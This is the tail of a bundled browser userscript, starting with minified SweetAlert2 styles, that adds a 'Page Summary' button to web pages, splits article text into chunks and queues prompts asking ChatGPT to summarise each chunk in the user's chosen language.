.swal2-textarea{height:6.75em;padding:.75em}div:where(.swal2-container) .swal2-select{min-width:50%;max-width:100%;padding:.375em .625em;background:rgba(0,0,0,0);color:inherit;font-size:1.125em}div:where(.swal2-container) .swal2-radio,div:where(.swal2-container) .swal2-checkbox{align-items:center;justify-content:center;background:#fff;color:inherit}div:where(.swal2-container) .swal2-radio label,div:where(.swal2-container) .swal2-checkbox label{margin:0 .6em;font-size:1.125em}div:where(.swal2-container) .swal2-radio input,div:where(.swal2-container) .swal2-checkbox input{flex-shrink:0;margin:0 .4em}div:where(.swal2-container) label:where(.swal2-input-label){display:flex;justify-content:center;margin:1em auto 0}div:where(.swal2-container) div:where(.swal2-validation-message){align-items:center;justify-content:center;margin:1em 0 0;padding:.625em;overflow:hidden;background:#f0f0f0;color:#666;font-size:1em;font-weight:300}div:where(.swal2-container) div:where(.swal2-validation-message)::before{content:"!";display:inline-block;width:1.5em;min-width:1.5em;height:1.5em;margin:0 .625em;border-radius:50%;background-color:#f27474;color:#fff;font-weight:600;line-height:1.5em;text-align:center}div:where(.swal2-container) .swal2-progress-steps{flex-wrap:wrap;align-items:center;max-width:100%;margin:1.25em auto;padding:0;background:rgba(0,0,0,0);font-weight:600}div:where(.swal2-container) .swal2-progress-steps li{display:inline-block;position:relative}div:where(.swal2-container) .swal2-progress-steps .swal2-progress-step{z-index:20;flex-shrink:0;width:2em;height:2em;border-radius:2em;background:#2778c4;color:#fff;line-height:2em;text-align:center}div:where(.swal2-container) .swal2-progress-steps .swal2-progress-step.swal2-active-progress-step{background:#2778c4}div:where(.swal2-container) .swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step{background:#add8e6;color:#fff}div:where(.swal2-container) .swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step-line{background:#add8e6}div:where(.swal2-container) .swal2-progress-steps .swal2-progress-step-line{z-index:10;flex-shrink:0;width:2.5em;height:.4em;margin:0 -1px;background:#2778c4}div:where(.swal2-icon){position:relative;box-sizing:content-box;justify-content:center;width:5em;height:5em;margin:2.5em auto .6em;border:0.25em solid rgba(0,0,0,0);border-radius:50%;border-color:#000;font-family:inherit;line-height:5em;cursor:default;user-select:none}div:where(.swal2-icon) .swal2-icon-content{display:flex;align-items:center;font-size:3.75em}div:where(.swal2-icon).swal2-error{border-color:#f27474;color:#f27474}div:where(.swal2-icon).swal2-error .swal2-x-mark{position:relative;flex-grow:1}div:where(.swal2-icon).swal2-error [class^=swal2-x-mark-line]{display:block;position:absolute;top:2.3125em;width:2.9375em;height:.3125em;border-radius:.125em;background-color:#f27474}div:where(.swal2-icon).swal2-error [class^=swal2-x-mark-line][class$=left]{left:1.0625em;transform:rotate(45deg)}div:where(.swal2-icon).swal2-error [class^=swal2-x-mark-line][class$=right]{right:1em;transform:rotate(-45deg)}div:where(.swal2-icon).swal2-error.swal2-icon-show{animation:swal2-animate-error-icon .5s}div:where(.swal2-icon).swal2-error.swal2-icon-show .swal2-x-mark{animation:swal2-animate-error-x-mark .5s}div:where(.swal2-icon).swal2-warning{border-color:#facea8;color:#f8bb86}div:where(.swal2-icon).swal2-warning.swal2-icon-show{animation:swal2-animate-error-icon .5s}div:where(.swal2-icon).swal2-warning.swal2-icon-show .swal2-icon-content{animation:swal2-animate-i-mark .5s}div:where(.swal2-icon).swal2-info{border-color:#9de0f6;color:#3fc3ee}div:where(.swal2-icon).swal2-info.swal2-icon-show{animation:swal2-animate-error-icon .5s}div:where(.swal2-icon).swal2-info.swal2-icon-show .swal2-icon-content{animation:swal2-animate-i-mark .8s}div:where(.swal2-icon).swal2-question{border-color:#c9dae1;color:#87adbd}div:where(.swal2-icon).swal2-question.swal2-icon-show{animation:swal2-animate-error-icon .5s}div:where(.swal2-icon).swal2-question.swal2-icon-show .swal2-icon-content{animation:swal2-animate-question-mark .8s}div:where(.swal2-icon).swal2-success{border-color:#a5dc86;color:#a5dc86}div:where(.swal2-icon).swal2-success [class^=swal2-success-circular-line]{position:absolute;width:3.75em;height:7.5em;transform:rotate(45deg);border-radius:50%}div:where(.swal2-icon).swal2-success [class^=swal2-success-circular-line][class$=left]{top:-0.4375em;left:-2.0635em;transform:rotate(-45deg);transform-origin:3.75em 3.75em;border-radius:7.5em 0 0 7.5em}div:where(.swal2-icon).swal2-success [class^=swal2-success-circular-line][class$=right]{top:-0.6875em;left:1.875em;transform:rotate(-45deg);transform-origin:0 3.75em;border-radius:0 7.5em 7.5em 0}div:where(.swal2-icon).swal2-success .swal2-success-ring{position:absolute;z-index:2;top:-0.25em;left:-0.25em;box-sizing:content-box;width:100%;height:100%;border:.25em solid rgba(165,220,134,.3);border-radius:50%}div:where(.swal2-icon).swal2-success .swal2-success-fix{position:absolute;z-index:1;top:.5em;left:1.625em;width:.4375em;height:5.625em;transform:rotate(-45deg)}div:where(.swal2-icon).swal2-success [class^=swal2-success-line]{display:block;position:absolute;z-index:2;height:.3125em;border-radius:.125em;background-color:#a5dc86}div:where(.swal2-icon).swal2-success [class^=swal2-success-line][class$=tip]{top:2.875em;left:.8125em;width:1.5625em;transform:rotate(45deg)}div:where(.swal2-icon).swal2-success [class^=swal2-success-line][class$=long]{top:2.375em;right:.5em;width:2.9375em;transform:rotate(-45deg)}div:where(.swal2-icon).swal2-success.swal2-icon-show .swal2-success-line-tip{animation:swal2-animate-success-line-tip .75s}div:where(.swal2-icon).swal2-success.swal2-icon-show .swal2-success-line-long{animation:swal2-animate-success-line-long .75s}div:where(.swal2-icon).swal2-success.swal2-icon-show .swal2-success-circular-line-right{animation:swal2-rotate-success-circular-line 4.25s ease-in}[class^=swal2]{-webkit-tap-highlight-color:rgba(0,0,0,0)}.swal2-show{animation:swal2-show .3s}.swal2-hide{animation:swal2-hide .15s forwards}.swal2-noanimation{transition:none}.swal2-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}.swal2-rtl .swal2-close{margin-right:initial;margin-left:0}.swal2-rtl .swal2-timer-progress-bar{right:0;left:auto}@keyframes swal2-toast-show{0%{transform:translateY(-0.625em) rotateZ(2deg)}33%{transform:translateY(0) rotateZ(-2deg)}66%{transform:translateY(0.3125em) rotateZ(2deg)}100%{transform:translateY(0) rotateZ(0deg)}}@keyframes swal2-toast-hide{100%{transform:rotateZ(1deg);opacity:0}}@keyframes swal2-toast-animate-success-line-tip{0%{top:.5625em;left:.0625em;width:0}54%{top:.125em;left:.125em;width:0}70%{top:.625em;left:-0.25em;width:1.625em}84%{top:1.0625em;left:.75em;width:.5em}100%{top:1.125em;left:.1875em;width:.75em}}@keyframes swal2-toast-animate-success-line-long{0%{top:1.625em;right:1.375em;width:0}65%{top:1.25em;right:.9375em;width:0}84%{top:.9375em;right:0;width:1.125em}100%{top:.9375em;right:.1875em;width:1.375em}}@keyframes swal2-show{0%{transform:scale(0.7)}45%{transform:scale(1.05)}80%{transform:scale(0.95)}100%{transform:scale(1)}}@keyframes swal2-hide{0%{transform:scale(1);opacity:1}100%{transform:scale(0.5);opacity:0}}@keyframes swal2-animate-success-line-tip{0%{top:1.1875em;left:.0625em;width:0}54%{top:1.0625em;left:.125em;width:0}70%{top:2.1875em;left:-0.375em;width:3.125em}84%{top:3em;left:1.3125em;width:1.0625em}100%{top:2.8125em;left:.8125em;width:1.5625em}}@keyframes swal2-animate-success-line-long{0%{top:3.375em;right:2.875em;width:0}65%{top:3.375em;right:2.875em;width:0}84%{top:2.1875em;right:0;width:3.4375em}100%{top:2.375em;right:.5em;width:2.9375em}}@keyframes swal2-rotate-success-circular-line{0%{transform:rotate(-45deg)}5%{transform:rotate(-45deg)}12%{transform:rotate(-405deg)}100%{transform:rotate(-405deg)}}@keyframes swal2-animate-error-x-mark{0%{margin-top:1.625em;transform:scale(0.4);opacity:0}50%{margin-top:1.625em;transform:scale(0.4);opacity:0}80%{margin-top:-0.375em;transform:scale(1.15)}100%{margin-top:0;transform:scale(1);opacity:1}}@keyframes swal2-animate-error-icon{0%{transform:rotateX(100deg);opacity:0}100%{transform:rotateX(0deg);opacity:1}}@keyframes swal2-rotate-loading{0%{transform:rotate(0deg)}100%{transform:rotate(360deg)}}@keyframes swal2-animate-question-mark{0%{transform:rotateY(-360deg)}100%{transform:rotateY(0)}}@keyframes swal2-animate-i-mark{0%{transform:rotateZ(45deg);opacity:0}25%{transform:rotateZ(-25deg);opacity:.4}50%{transform:rotateZ(15deg);opacity:.8}75%{transform:rotateZ(-5deg);opacity:1}100%{transform:rotateX(0);opacity:1}}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown){overflow:hidden}body.swal2-height-auto{height:auto !important}body.swal2-no-backdrop .swal2-container{background-color:rgba(0,0,0,0) !important;pointer-events:none}body.swal2-no-backdrop .swal2-container .swal2-popup{pointer-events:all}body.swal2-no-backdrop .swal2-container .swal2-modal{box-shadow:0 0 10px rgba(0,0,0,.4)}@media print{body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown){overflow-y:scroll !important}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown)>[aria-hidden=true]{display:none}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown) .swal2-container{position:static !important}}body.swal2-toast-shown .swal2-container{box-sizing:border-box;width:360px;max-width:100%;background-color:rgba(0,0,0,0);pointer-events:none}body.swal2-toast-shown .swal2-container.swal2-top{inset:0 auto auto 50%;transform:translateX(-50%)}body.swal2-toast-shown .swal2-container.swal2-top-end,body.swal2-toast-shown .swal2-container.swal2-top-right{inset:0 0 auto auto}body.swal2-toast-shown .swal2-container.swal2-top-start,body.swal2-toast-shown .swal2-container.swal2-top-left{inset:0 auto auto 0}body.swal2-toast-shown .swal2-container.swal2-center-start,body.swal2-toast-shown .swal2-container.swal2-center-left{inset:50% auto auto 0;transform:translateY(-50%)}body.swal2-toast-shown .swal2-container.swal2-center{inset:50% auto auto 50%;transform:translate(-50%, -50%)}body.swal2-toast-shown .swal2-container.swal2-center-end,body.swal2-toast-shown .swal2-container.swal2-center-right{inset:50% 0 auto auto;transform:translateY(-50%)}body.swal2-toast-shown .swal2-container.swal2-bottom-start,body.swal2-toast-shown .swal2-container.swal2-bottom-left{inset:auto auto 0 0}body.swal2-toast-shown .swal2-container.swal2-bottom{inset:auto auto 0 50%;transform:translateX(-50%)}body.swal2-toast-shown .swal2-container.swal2-bottom-end,body.swal2-toast-shown .swal2-container.swal2-bottom-right{inset:auto 0 0 auto}');
  3087. }
  3088. });
  3089.  
  3090. // src/index.ts
  3091. var import_chatgpt = __toESM(require_chatgpt2(), 1);
  3092.  
  3093. // ../../packages/monkit/dist/index.mjs
  3094. var MenuManager = class {
  3095. constructor(default_menu_all) {
  3096. this.default_menu_all = default_menu_all;
  3097. this.menu_all = GM_getValue("menu_all", this.default_menu_all);
  3098. for (const name in this.default_menu_all) {
  3099. if (!(name in this.menu_all)) {
  3100. this.menu_all[name] = this.default_menu_all[name];
  3101. }
  3102. }
  3103. this.menu_id = GM_getValue("menu_id", {});
  3104. this.update_menu();
  3105. }
  3106. registerMenuCommand(name, value) {
  3107. if (name === "chat_language") {
  3108. return GM_registerMenuCommand(`${name}\uFF1A${value}`, () => {
  3109. const language = prompt("Please input the language you want to use", value.toString());
  3110. if (language) {
  3111. this.menu_all[name] = language;
  3112. GM_setValue("menu_all", this.menu_all);
  3113. this.update_menu();
  3114. location.reload();
  3115. }
  3116. });
  3117. }
  3118. const menuText = ` ${name}\uFF1A${value ? "\u2705" : "\u274C"}`;
  3119. const commandCallback = () => {
  3120. this.menu_all[name] = !this.menu_all[name];
  3121. GM_setValue("menu_all", this.menu_all);
  3122. this.update_menu();
  3123. location.reload();
  3124. };
  3125. return GM_registerMenuCommand(menuText, commandCallback);
  3126. }
  3127. update_menu() {
  3128. for (const name in this.menu_all) {
  3129. const value = this.menu_all[name];
  3130. if (this.menu_id[name]) {
  3131. GM_unregisterMenuCommand(this.menu_id[name]);
  3132. }
  3133. this.menu_id[name] = this.registerMenuCommand(name, value);
  3134. }
  3135. GM_setValue("menu_id", this.menu_id);
  3136. }
  3137. getMenuValue(name) {
  3138. return this.menu_all[name];
  3139. }
  3140. };
  3141. function getLocalLanguage() {
  3142. const userLanguage = navigator.language;
  3143. const languageNames = new Intl.DisplayNames([userLanguage], { type: "language" });
  3144. const readableLanguage = languageNames.of(userLanguage);
  3145. return readableLanguage;
  3146. }
  3147.  
  3148. // ../../packages/page-button/dist/index.mjs
  3149. var import_sweetalert2 = __toESM(require_sweetalert2_all(), 1);
  3150. function displayHTML(html) {
  3151. return __async(this, null, function* () {
  3152. let screenWidth = window.innerWidth || document.documentElement.clientWidth || document.body.clientWidth;
  3153. let swalWidth = screenWidth < 800 ? "80%" : "800px";
  3154. if (!document.head.querySelector("#LXGWStyle")) {
  3155. let link = document.createElement("link");
  3156. link.rel = "stylesheet";
  3157. link.href = "https://cdnjs.cloudflare.com/ajax/libs/lxgw-wenkai-screen-webfont/1.7.0/style.css";
  3158. link.id = "LXGWStyle";
  3159. document.head.appendChild(link);
  3160. }
  3161. if (!document.head.querySelector("#readModeStyle")) {
  3162. let style = document.createElement("style");
  3163. style.type = "text/css";
  3164. style.id = "readModeStyle";
  3165. style.innerHTML = `
  3166. .text-left { text-align: left !important; }
  3167. .scrollable { max-height: 90vh; overflow-y: auto; }
  3168. .swal-font { font-family: "LXGW WenKai Screen", sans-serif; }
  3169. `;
  3170. document.head.appendChild(style);
  3171. }
  3172. import_sweetalert2.default.fire({
  3173. title: "",
  3174. html: html.join("<br />"),
  3175. width: swalWidth,
  3176. padding: "0em",
  3177. background: "#fff",
  3178. backdrop: "rgba(128,128,128,0.4)",
  3179. showConfirmButton: false,
  3180. showClass: { popup: "", backdrop: "" },
  3181. customClass: { htmlContainer: "text-left scrollable swal-font" },
  3182. willClose: () => {
  3183. const scrollable = document.querySelector(".scrollable");
  3184. if (scrollable) {
  3185. localStorage.setItem("scrollPos" + window.location.href, `${scrollable.scrollTop}`);
  3186. }
  3187. },
  3188. didOpen: () => {
  3189. const scrollable = document.querySelector(".scrollable");
  3190. if (scrollable) {
  3191. scrollable.scrollTop = parseInt(localStorage.getItem("scrollPos" + window.location.href) || "0");
  3192. }
  3193. }
  3194. });
  3195. });
  3196. }
  3197.  
  3198. // src/index.ts
  3199. var import_sweetalert22 = __toESM(require_sweetalert2_all(), 1);
  3200.  
  3201. // src/createButton/index.ts
  3202. function createButton(callback, buttonText) {
  3203. if (window.location.href.includes("chat.openai")) {
  3204. return;
  3205. }
  3206. const hideRight = document.title.match(/[\u4e00-\u9fa5]/) ? "-130px" : "-120px";
  3207. const button = document.createElement("button");
  3208. button.innerHTML = buttonText;
  3209. button.style.position = "fixed";
  3210. button.style.width = "140px";
  3211. button.style.top = "180px";
  3212. button.style.right = hideRight;
  3213. button.style.zIndex = "999999";
  3214. button.style.backgroundColor = "#F8BBC6";
  3215. button.style.color = "#fff";
  3216. button.style.opacity = "0.8";
  3217. button.style.border = "none";
  3218. button.style.borderRadius = "4px";
  3219. button.style.padding = "10px 16px";
  3220. button.style.fontSize = "18px";
  3221. button.style.cursor = "pointer";
  3222. button.style.transition = "right 0.3s";
  3223. document.body.appendChild(button);
  3224. button.addEventListener("mouseenter", () => {
  3225. button.style.right = "-10px";
  3226. });
  3227. button.addEventListener("mouseleave", () => {
  3228. button.style.right = hideRight;
  3229. });
  3230. document.addEventListener("fullscreenchange", () => {
  3231. if (document.fullscreenElement) {
  3232. button.style.display = "none";
  3233. } else {
  3234. button.style.display = "block";
  3235. }
  3236. });
  3237. button.addEventListener("click", callback);
  3238. }
  3239. var createButton_default = createButton;
  3240.  
  3241. // src/SimpleArticleSegmentation/index.ts
  3242. var MIN_PARAGRAPH_LENGTH = 3200;
  3243. var MAX_PARAGRAPH_LENGTH = 3600;
  3244. var TOKEN_LETTER_TO_CHARACTER_RATIO = 0.6;
  3245. var SimpleArticleSegmentation = class {
  3246. constructor(text) {
  3247. this.text = text;
  3248. }
  3249. containsAsianCharacters(str) {
  3250. const regex = /[\p{Script=Hiragana}\p{Script=Katakana}\p{Script=Han}\p{Script=Hangul}]/gu;
  3251. return regex.test(str);
  3252. }
  3253. segment() {
  3254. const paragraphs = [];
  3255. if (this.containsAsianCharacters(this.text)) {
  3256. let i = 0;
  3257. const maxParagraphLength = Math.floor(MAX_PARAGRAPH_LENGTH * TOKEN_LETTER_TO_CHARACTER_RATIO);
  3258. while (i < this.text.length) {
  3259. const paragraph = this.text.substring(i, i + maxParagraphLength);
  3260. paragraphs.push(paragraph);
  3261. i += maxParagraphLength;
  3262. }
  3263. } else {
  3264. const sentences = this.text.split(new RegExp("(?<=[.!?])\\s+"));
  3265. let paragraph = "";
  3266. for (const sentence of sentences) {
  3267. if (paragraph.length + sentence.length + 1 <= MAX_PARAGRAPH_LENGTH) {
  3268. paragraph += (paragraph.length > 0 ? " " : "") + sentence;
  3269. } else {
  3270. if (paragraph.length >= MIN_PARAGRAPH_LENGTH) {
  3271. paragraphs.push(paragraph);
  3272. paragraph = sentence;
  3273. } else {
  3274. paragraph += " " + sentence;
  3275. }
  3276. }
  3277. }
  3278. if (paragraph.length >= MIN_PARAGRAPH_LENGTH) {
  3279. paragraphs.push(paragraph);
  3280. }
  3281. }
  3282. return paragraphs;
  3283. }
  3284. };
  3285. var SimpleArticleSegmentation_default = SimpleArticleSegmentation;
  3286.  
  3287. // src/getParagraphs/index.ts
  3288. function getParagraphs() {
  3289. try {
  3290. let docClone = document.cloneNode(true);
  3291. let article = new Readability(docClone).parse();
  3292. if (article == null ? void 0 : article.textContent) {
  3293. const segmenter = new SimpleArticleSegmentation_default(article.textContent);
  3294. const paragraphs = segmenter.segment();
  3295. for (let i = 0; i < paragraphs.length; i++) {
  3296. paragraphs[i] = paragraphs[i].trim();
  3297. }
  3298. return paragraphs;
  3299. } else {
  3300. console.warn("Readability.js could not extract any text content from this page.");
  3301. return [];
  3302. }
  3303. } catch (error) {
  3304. console.error("An error occurred while using Readability.js:", error);
  3305. return [];
  3306. }
  3307. }
  3308. var getParagraphs_default = getParagraphs;
  3309.  
  3310. // src/index.ts
  3311. function initialize() {
  3312. return __async(this, null, function* () {
  3313. yield new Promise((r) => window.addEventListener("load", r));
  3314. yield new Promise((r) => setTimeout(r, 1e3));
  3315. });
  3316. }
  3317. (() => __async(void 0, null, function* () {
  3318. yield initialize();
  3319. const menu = new MenuManager({ "chat_language": getLocalLanguage() || "Chinese" });
  3320. const lang = menu.getMenuValue("chat_language");
  3321. const setPrompts = (paras) => GM_setValue("prompt_texts", paras.map((p, i) => `Answer me in several paragraphs in ${lang} language,
  3322. Summarize below paragraph into a bulleted list of the most important information, prefix with emoji:
  3323.  
  3324. ${p}${i + 1}/${paras.length}
  3325.  
  3326. ps: answer in several paragraphs in ${lang} language`));
  3327. GM_registerMenuCommand("\u{1F4DD} Input", () => {
  3328. import_sweetalert22.default.fire({ title: "Please input the text you want to deal with", input: "text", inputPlaceholder: "Enter your text here" }).then((result) => {
  3329. if (result.value)
  3330. setPrompts(new SimpleArticleSegmentation_default(result.value).segment());
  3331. });
  3332. });
  3333. (0, import_chatgpt.setPromptListener)("prompt_texts");
  3334. createButton_default(() => __async(void 0, null, function* () {
  3335. return setPrompts(getParagraphs_default());
  3336. }), navigator.language.startsWith("zh") ? "\u9875\u9762\u6458\u8981" : "Page Summary");
  3337. function displayReadMode() {
  3338. let html = (0, import_chatgpt.getResponseElementHTMLs)();
  3339. if (html.length === 0) {
  3340. html = ["<p>No responses available.</p>"];
  3341. }
  3342. displayHTML(html);
  3343. }
  3344. GM_registerMenuCommand("\u{1F4D6} Read Mode", displayReadMode);
  3345. }))();
  3346. })();
  3347. /*! Bundled license information:
  3348.  
  3349. sweetalert2/dist/sweetalert2.all.js:
  3350. (*!
  3351. * sweetalert2 v11.7.18
  3352. * Released under the MIT License.
  3353. *)
  3354. */